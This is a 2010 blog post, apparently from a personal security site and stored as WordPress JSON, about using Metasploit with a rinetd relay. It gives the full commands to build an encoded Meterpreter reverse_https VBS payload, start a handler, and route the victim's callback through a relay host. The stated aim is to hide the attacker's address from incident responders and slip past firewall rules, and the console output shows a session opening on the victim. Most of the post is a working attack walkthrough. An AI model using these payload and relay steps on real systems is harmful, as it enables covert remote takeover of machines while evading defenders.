{"id":337,"date":"2010-04-18T23:24:34","date_gmt":"2010-04-19T04:24:34","guid":{"rendered":"http:\/\/zitstif.no-ip.org\/?p=337"},"modified":"2010-04-18T23:34:47","modified_gmt":"2010-04-19T04:34:47","slug":"metasploit-rinetd-fun","status":"publish","type":"post","link":"http:\/\/zitstif.no-ip.org\/?p=337","title":{"rendered":"metasploit + rinetd fun"},"content":{"rendered":"<p>A pentester might find his\/her self in a situation where they might want to obfuscate the out going connection of their payload.<\/p>\n<p>Now, my first idea was to use rinetd, but also a <a title=\"http:\/\/www.sans.org\/security-resources\/sec560\/netcat_cheat_sheet_v1.pdf\" href=\"http:\/\/www.sans.org\/security-resources\/sec560\/netcat_cheat_sheet_v1.pdf\" target=\"_blank\">netcat relay<\/a> came to mind as well. Nevertheless, my netcat relay did not work for this case.<\/p>\n<p>Before I continue on, I should be explicit on what I want to do:<\/p>\n<p>Create a payload that connects reversely to a host that acts a relay to the attackers host.<\/p>\n<p>What are the benefits to this? Obfuscation of course. When the incidence response team takes action and possibly gets a copy of the payload, to reverse engineer it, they will notice that it connects to a host that may seem benign.<br \/>\nAlso, the corporate firewall might only allow out going connections on specific ports and the pentester&#8217;s server might have to listen on some odd ball port due to ISP restrictions.<\/p>\n<p>For redirecting I&#8217;ll be using <a title=\"http:\/\/www.boutell.com\/rinetd\/\" href=\"http:\/\/www.boutell.com\/rinetd\/\" target=\"_blank\">rinetd<\/a>. My three hosts are which as follows:<\/p>\n<p>Host A = 192.168.1.2 (Attacker)<br \/>\nHost B = 192.168.1.3 (Relay host)<br \/>\nHost C = 192.168.1.4 (Victim)<\/p>\n<p>For my payload I&#8217;ll be using a new method implemented into metasploit, which is located here:<br \/>\n<a title=\"http:\/\/blog.metasploit.com\/2010\/04\/persistent-meterpreter-over-reverse.html\" href=\"http:\/\/blog.metasploit.com\/2010\/04\/persistent-meterpreter-over-reverse.html\" target=\"_blank\">http:\/\/blog.metasploit.com\/2010\/04\/persistent-meterpreter-over-reverse.html<\/a><\/p>\n<p>First lets create the payload:<\/p>\n<p>msfpayload windows\/meterpreter\/reverse_https LHOST=192.168.1.3 LPORT=8080 R | msfencode -t loop-vbs -c 10 -o rineme.vbs<\/p>\n<p>Next let&#8217;s setup our attacker&#8217;s handler on host 192.168.1.2:<br \/>\nmsf> use multi\/handler<br \/>\nmsf exploit(handler) > set LHOST 192.168.1.2<br \/>\nLHOST => 192.168.1.2<br \/>\nmsf exploit(handler) > set LPORT 8081<br \/>\nLPORT => 8081<br \/>\nmsf exploit(handler) > set PAYLOAD windows\/meterpreter\/reverse_https<br \/>\nPAYLOAD => windows\/meterpreter\/reverse_https<br \/>\nmsf exploit(handler) > exploit<\/p>\n<p>[*] HTTPS listener started on https:\/\/192.168.1.2:8081\/<br \/>\n[*] Starting the payload handler..<\/p>\n<p>Next I&#8217;ll set up the relay host to relay my connection.<\/p>\n<p>rinetd -c config.conf<\/p>\n<p>Where config.conf is simply:<\/p>\n<p>192.168.1.3 8080 192.168.1.2 8081<\/p>\n<p>This way, when the payload is executed and connects to the relay host (192.168.1.3) on port 8080, the relay host will redirect the connection to the attacker&#8217;s host at 192.168.1.2 at port 8081.<\/p>\n<p>Once the payload gets executed on the victim host (192.168.1.4) we should see something like this:<\/p>\n<p>[*] 192.168.1.3:36716 Request received for \/A0KET&#8230;<\/p>\n<p>[*] 192.168.1.3:36716 Staging connection for target 0KET received&#8230;<\/p>\n<p>[*] Patching Target ID 0KET into DLL<\/p>\n<p>[*] 192.168.1.4:49286 Request received for \/B0KET&#8230;<\/p>\n<p>[*] 192.168.1.4:49286 Stage connection for target 0KET received&#8230;<\/p>\n<p>[*] Meterpreter session 1 opened (192.168.1.2:8081 -> 192.168.1.4:49286)<\/p>\n<p>msf exploit(handler) > sessions -i 1<br \/>\n[*] Starting interaction with 1..<br \/>\nmeterpreter > ipconfig<br \/>\nSoftware Loopback Interface 1<br \/>\nHardware MAC: 00:00:00:00:00:00<br \/>\nIP Address \u00a0: 127.0.0.1<br \/>\nNetmask \u00a0 \u00a0: 255.0.0.0<\/p>\n<p>Intel(R) PRO\/1000 MT Desktop Adapter<br \/>\nHardware MAC: 08:00:27:a1:52:61<br \/>\nIP Address \u00a0: 192.168.1.4<br \/>\nNetmask \u00a0 \u00a0 : 255.255.255.0<\/p>\n<p>More to come&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A pentester might find his\/her self in a situation where they might want to obfuscate the out going connection of their payload. Now, my first idea was to use rinetd, but also a netcat relay came to mind as well. Nevertheless, my netcat relay did not work for this case. Before I continue on, I &hellip; <a href=\"http:\/\/zitstif.no-ip.org\/?p=337\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">metasploit + rinetd fun<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[28,124,27,147,26,146,142,143,141,145,144],"class_list":["post-337","post","type-post","status-publish","format-standard","hentry","category-posts","tag-metasploit","tag-meterpreter","tag-nc","tag-nc-relay","tag-netcat","tag-netcat-relay","tag-obfuscation","tag-reverse_https","tag-rinetd","tag-sans","tag-vbs"],"_links":{"self":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/337","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=337"}],"version-history":[{"count":5,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/337\/revisions"}],"predecessor-version":[{"id":342,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/337\/revisions\/342"}],"wp:attachment":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=337"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=337"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=337"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}